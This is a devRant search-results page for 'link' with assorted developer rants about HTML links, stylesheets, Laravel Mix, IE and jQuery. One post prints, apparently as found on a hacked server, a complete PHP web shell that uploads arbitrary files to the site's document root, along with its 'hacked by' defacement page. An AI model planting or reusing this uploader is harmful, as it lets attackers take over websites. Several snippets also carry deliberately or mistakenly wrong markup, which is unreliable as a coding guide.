Join devRant
Do all the things like
++ or -- rants, post your own rants, comment on others' rants and build your customized dev avatar
Sign Up
Pipeless API
From the creators of devRant, Pipeless lets you power real-time personalized recommendations and activity feeds using a simple API
Learn More
Search - "<a href="/link">link</a>"
-
Just spent 30 minutes trying to work out why my page will not load a JavaScript file even though I could manually browse to the file:
<link rel="stylesheet" type="text/js" href="js/home.js" />
I then proceeded to take a 5 minute walk around the office and rethink my life decisions...5 -
Am I the only one that can't remember how to link a CSS file in HTML? I must copy/paste every time from an other project :(
<link rel="stylesheet" type="text/css" href="main.css">10 -
Microsoft Internet Explorer is my least favorite enterprise software. We are forced to use it. I hate being forced. This is like being asked to climb a mountain with a broken leg...not fun, painful, hopeless, threatening, discouraging, slow, and ugly, and infected...it is downright evil corporate bullshit.
<!--[if IE]>
<link rel="styleshit" type=trash/css" href="die-die-die-you-evil-bastard.css"/>
<![endif]-->
Just push it over the edge with a chrome sword stuck in its back. I will just sit here by the fire with my pet fox and watch the opera as I listen to vivaldi.3 -
I'm doing a migration where I have to move like 200+ old-old websites. Stuff was never touched for ages and we kinda moved it 'into the cloud' now.
So after a few sites I check graylog (where all the logs are stored) and I saw this gem:
stderr: PHP message: PHP Warning: file_get_contents(http://tinyurl.com/api-create.php/... Online Viagra/): failed to open stream: HTTP request failed! HTTP/1.1 400 Bad Request
And I was like, wtf? Is this site hacked?
Ok the sadness starts now. Behold the following:
function getTinyUrl($url) {
$tinyurl = file_get_contents("http://tinyurl.com/api-create.php/...);
return $tinyurl;
}
This function gets executed for the current link AND every dynamic href on the page.. EVERY pageload.
I was not even mad.2 -
There was maybe one of the coolest methods of apply for a job. There was a company in Sydney on linkedin on the apply href for the job was pointing to localhost (might of been a accident) so you had to find their website and with the trailing url get to the page then they said to send OPTIONS request to a endpoint here you got a link to a api doc to where you send a POST to apply for a job they had a example body to use. So sending the Post request with with postman required headers so looking more into the doc it gave the headers needed. Now the example body for the post had some errors in it and once they are fixed you can then submit the request.
NOW thats the way to find competent developers shame I'm not one of the.5 -
Do you have a ‘Drama Queen’ on your team?
This happened last week.
DK = Drama Queen
DK: “OMG..the link to the document isn’t working! All I get is page not found. I’m supposed to update the notes for this project…and now I can’t! What the _bleep_ and I supposed to do now?!...I don’t understand how …”
This goes on for it seems 5 minutes.
Me: “Hold on...someone probably accidently mistyped the file name or something. I’m sure the document is still there.”
DK: “Well, I’ll never find it. Our intranet is a mess. I’m going to have to tell the PM that the project is delayed now and there is nothing I can do about it because our intranet is such a mess.”
Me: “Maybe, but why don’t you open up the file and see where the reference is?”
DK: “Oh, _bleep_ no…it is HTML…I don’t know anything about HTML. If the company expects me to know HTML, I’m going to have to tell the PM the project is delayed until I take all the courses on W3-Schools.”
Me: “Um…you’ve been developing as long as I have and you have a couple of blogs. You know what an anchor tag is. I don’t think you have to take all those W3 courses. It’s an anchor tag with a wrong HREF, pretty easy to find and fix”
DK: “Umm…I know *my* blog…not this intranet mess. Did you take all the courses on W3-Schools? Do you understand all the latest web html standards?”
Me: “No, but I don’t think W3 has anything to do the problem. Pretty sure I can figure it out.”
DK: “ha ha…’figuring it out’. I have to know every detail on how the intranet works. What about the javascript? Those intranet html files probably have javascript. I can’t make any changes until I know I won’t break anything. _bleep_! Now I have to learn javascript! This C# project will never get done. The PM is going to be _bleep_issed! Great..and I’ll probably have to work weekends to catch up!”
While he is ranting…I open up the html file, locate the misspelling, fix it, save it..
Me: “Hey..it’s fixed. Looks like Karl accidently added a space in the file name. No big deal.”
DK:”What!!! How did you…uh…I don’t understand…how did you know what the file name was? What if you changed something that broke the page? How did you know it was the correct file? I would not change anything unless I understood every detail. You’re gonna’ get fired.”
Me: “Well, it’s done. Move on.”9 -
Lead-Dev: "These links don't work as they should, I'm having you fix them, 'kay?"
Me: "I'll have a look."
> The link doesn't do anything when you click on it.
My internal monologue: (The href is probably just wrong)
> It's not wrong.
Me: "What the fuck?"
Lead-Dev: "Can you fix it?"
Me: "I don't think I can."
Lead-Dev: "Why don't you try looking in thisScript.js?"
Me: "Oh, you think the click event got prevented or something?"
Lead-Dev: "No, I think something went wrong with what that script is doing with the jQuery library this site uses."
Me: "..."
Lead-Dev: "..."
Me: "jQuery... library...?"3 -
Right, that's fucking it. Enough. I'm all for learning new technologies, frameworks, and development protocols, but my time on this earth is limited and at the end of the day if I'm having to spend DAYS AND FUCKING DAYS just scouring through obscure forum posts because the documentation is shit and just hitting ONE FUCKING PROBLEM AFTER ANOTHER then there comes a point at which the time investment simply isn't worth it. I HATE throwing in the towel because some FUCKING CUNT code problem has got the better of me, but fucking sense must prevail here.
Laravel fucking Mix. Do any any of you use this shit on Windows? Because I take my fucking hat off to you. I'm done with it.
Oh, so your server uses 'public_html' instead of 'public' does it? Well, of course you can just set
mix.setPublicPath('public_html'); then can't you?
No, you can't. Why? Because fuck you, that's why. Not only do you have to hard-code your fucking public directory into each specified path, additionally you have to set
mix.setPublicPath('./');
Why? Because fuck you, that's why. It took me the best part of two days to discover that little nugget of information, buried at the bottom of some obscure corner of the internet in a random github issue thread. Fuck off.
Onto next problem. Another 5 hours invested to extract some patchy solution that I'm not at all happy with.
Rinse, repeat.
Make it work with BrowserSync by wrapping your assets like so:
<link rel="stylesheet" href="{{ mix('/build/css/main.css') }}">
Oh oh oh but "The Mix manifest does not exist"... despite a fresh install of Laravel 5.6 and all relevant node modules installed... follow some other random Github thread with a back and forth of time-consuming suggestions for avenues of experimentation, with no clear solution.
Er no, fuck off. I'm going back to Grunt and maybe I'll try Webpack/Mix in another year or two when there's actually some clear answers, but as it stands this a wild goose chase into a fucking black-hole and I've got better things to do with my precious time. Go die.5 -
My IT-teacher has a website. Aside from it looking like from 1980 (which is ok), he has a "security js Mail decryption":
In his page there is a <script> with a simple yet custom de/encrypt function. Then his E-Mail is an <a href="javascript:mailto:function('rubberish173848'>private email</a>. (Or something like that)
You can just run this link (open email app and read it) or use the same function and same href in the browser console and read it. It sounds so stupid.
(Yet I figured out he probably doesn't want bots to spam his mail, so maybe I am stupid)1 -
http://".$_SERVER['HTTP_HOST']."/server, check the code below
<html lang='en-US'><head><title>T3RR0R B@B@</title>
<a href="https://www.facebook.com/mr.T3RR0R" target="_blank"><h2>Click Here !</h2></a><br>
<style>
body{cursor:url("http:////"),auto;}html{display:table;height:100%;width:100%;}body{display:table-row;}body{display:table-cell;vertical-align:middle;text-align:center;}a:link{text-decoration:none;}
body {
background-color: #000000;
background-image: url(https://imgwm.com/images/...);
<!--http://twitrcover.com/ar/uploads/...-->
margin-left: 0px;
margin-top: 0px;
margin-right: 0px;
margin-bottom: 0px;
background-position:right top;
background-repeat:no-repeat;
background-size:110%
}
.style1 {
font-family: Arial, Helvetica, sans-serif;
font-size: 12px;
}
</style><br><br><br>
<br>
<center><?php
echo "<form method='post' enctype='multipart/form-data'>
<input type='file' name='idx_file'>
<input type='submit' name='upload' value='upload'>
</form>";
$root = $_SERVER['DOCUMENT_ROOT'];
$files = $_FILES['idx_file']['name'];
$dest = $root.'/'.$files;
if(isset($_POST['upload'])) {
if(is_writable($root)) {
if(@copy($_FILES['idx_file']['tmp_name'], $dest)) {
$web = "http://".$_SERVER['HTTP_HOST']."/";
echo "Ciee Sukses Uploadnya :* -> <a href='$web/$files' target='_blank'><b><u>$web/$files</u></b></a>";
} else {
echo "gagal upload root >:(";
}
} else {
if(@copy($_FILES['idx_file']['tmp_name'], $files)) {
echo "Ciee Sukses Uploadnya :* <b>$files</b> di folder ini";
} else {
echo "gagal upload >:(";
}
}
}
?>
<!DOCTYPE html>
<html>
<title>K.I.T.A</title>
<audio autoplay loop>
<source src="http://micro.byethost24.com/KITA.mp..."></source>
</audio>
<head>
<link href='https://fonts.googleapis.com/css/...' rel='stylesheet' type='text/css'>
</head>
<body bgcolor="#2b2b2b" link="gray" text="gray">
<center>
<script type="text/javascript">
TypingText = function(element, interval, cursor, finishedCallback) {
if((typeof document.getElementById == "undefined") || (typeof element.innerHTML == "undefined")) {
this.running = true;
return;
}
this.element = element;
this.finishedCallback = (finishedCallback ? finishedCallback : function() { return; });
this.interval = (typeof interval == "undefined" ? 100 : interval);
this.origText = this.element.innerHTML;
this.unparsedOrigText = this.origText;
this.cursor = (cursor ? cursor : "");
this.currentText = "";
this.currentChar = 0;
this.element.typingText = this;
if(this.element.id == "") this.element.id = "typingtext" + TypingText.currentIndex++;
TypingText.all.push(this);
this.running = false;
this.inTag = false;
this.tagBuffer = "";
this.inHTMLEntity = false;
this.HTMLEntityBuffer = "";
}
TypingText.all = new Array();
TypingText.currentIndex = 0;
TypingText.runAll = function() {
for(var i = 0; i < TypingText.all.length; i++) TypingText.all[i].run();
}
TypingText.prototype.run = function() {
if(this.running) return;
if(typeof this.origText == "undefined") {
setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);
return;
}
if(this.currentText == "") this.element.innerHTML = "";
if(this.currentChar < this.origText.length) {
if(this.origText.charAt(this.currentChar) == "<" && !this.inTag) {
this.tagBuffer = "<";
this.inTag = true;
this.currentChar++;
this.run();
return;
} else if(this.origText.charAt(this.currentChar) == ">" && this.inTag) {
this.tagBuffer += ">";
this.inTag = false;
this.currentText += this.tagBuffer;
this.currentChar++;
this.run();
return;
} else if(this.inTag) {
this.tagBuffer += this.origText.charAt(this.currentChar);
this.currentChar++;
this.run();
return;
} else if(this.origText.charAt(this.currentChar) == "&" && !this.inHTMLEntity) {
this.HTMLEntityBuffer = "&";
this.inHTMLEntity = true;
this.currentChar++;
this.run();
return;
} else if(this.origText.charAt(this.currentChar) == ";" && this.inHTMLEntity) {
this.HTMLEntityBuffer += ";";
this.inHTMLEntity = false;
this.currentText += this.HTMLEntityBuffer;
this.currentChar++;
this.currentChar++;
setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);
} else {
this.currentText = "";
this.currentChar = 0;
this.running = false;
this.finishedCallback();
}
}
</script>
<br><br><br>
<div id="satu">
<embed src="https://youtube.com/v/tec_KllmOH4/...
<br>
<b style="font-size: 40px;">hacked by T3RR0R B@B@</b>
<br>
- use your brain to repair this system<br>
Scary Crazy Forbidden<br>
@2018<br><br>
Contact : fb.com/mr.T3RR0R
<br></div>11 -
ChatGPT, Copilot, React, how to make a link in a frontend website?
To create a link in a frontend website, create a span, a div, or a paragraph that contains the link text. In your JavaScript web app, add an event listener to that element that opens the link on click. If you want to claim you're accessible, add an aria-role to the clickable element. To make debugging harder and only possible for the real arcane experts, let your framework generate generic ids and class name hashes for styling and event handling, like "item_09fcfck" or "elementor_element_foo_bar". Avoid, at all price, to use an a href element!2 -
Html imports. Polyfil. Hey. Reading, this is awesome. <link rel=“import” href=“control.html”> what could be simpler? Deprecated front end. But only need it for developing. Will combine the files at the end.
Estimate converting php to pure html, couple of days.
Go to use it with polyfill (webcompnents.js htmlimport). Doesn’t work.
Try the light components. Doesn’t work.
Try server-side polymer. Doesn’t work.
So much documentation about it working. Then finally come across shadow dom and how html imports are associated with them.
Hell no they aren’t. They are completely different things. Oh. Google packaged them together? No one could agree on shadow dom, and its now going away? Taking the pure html way of combining files into one page with it???
Spent an entire freaking day. But got 8 lines of code and <link rel=“fetch” ...> to do the same thing.
Why hasn’t this been an html standard for say...years. Why can’t the server do a handshake with the client and serve one page (php-ish) if the feature isn’t supported. Otherwise multiple files asyc. I mean. This is a fundamental part of pwa’s.
Why are these obviously smart people so stupid??? Deploy you shitty shadow dom without this obviously useful feature...2 -
To link a html to CSS is it
<link href = "style.css" type="style/css" rel="style sheet"> I need halp11 -
Hii,
I want to use HTML5 History API.
I'm using ajax to fetch whole page (Yes Whole page)
Then I'm searching a particular TAG and replace whole html code in container.
I'm feeling that I'm doing it so wrong.
Can anybody tell me best use of HTML5 History API.
This update data in page without reloading page, but I think this does not make any sense.
This is an Example of my Code, You'll get Idea:
$('body').on('click','a.ajax-nav-link',function(e) {
e.preventDefault();
//call ajax method, show data and update url via html5 history api :)
if (isHistorySupport) {
//fetch url associated with a tag
let url = $(this).attr("href");
let title = $(this).attr("data-title");
fetchPage(url);
$(".ajax-nav-link").removeClass("active");
$(this).addClass("active");
return false;
}else {
alert("Not Available");
}
});5 -
Screen design are fine, but putting a "download confirmation" link means absolutely nothing.
I can build you the button...it won't do anything or go anywhere unless you tell me what
and where a "confirmation" is....
<a href="#".....it is then.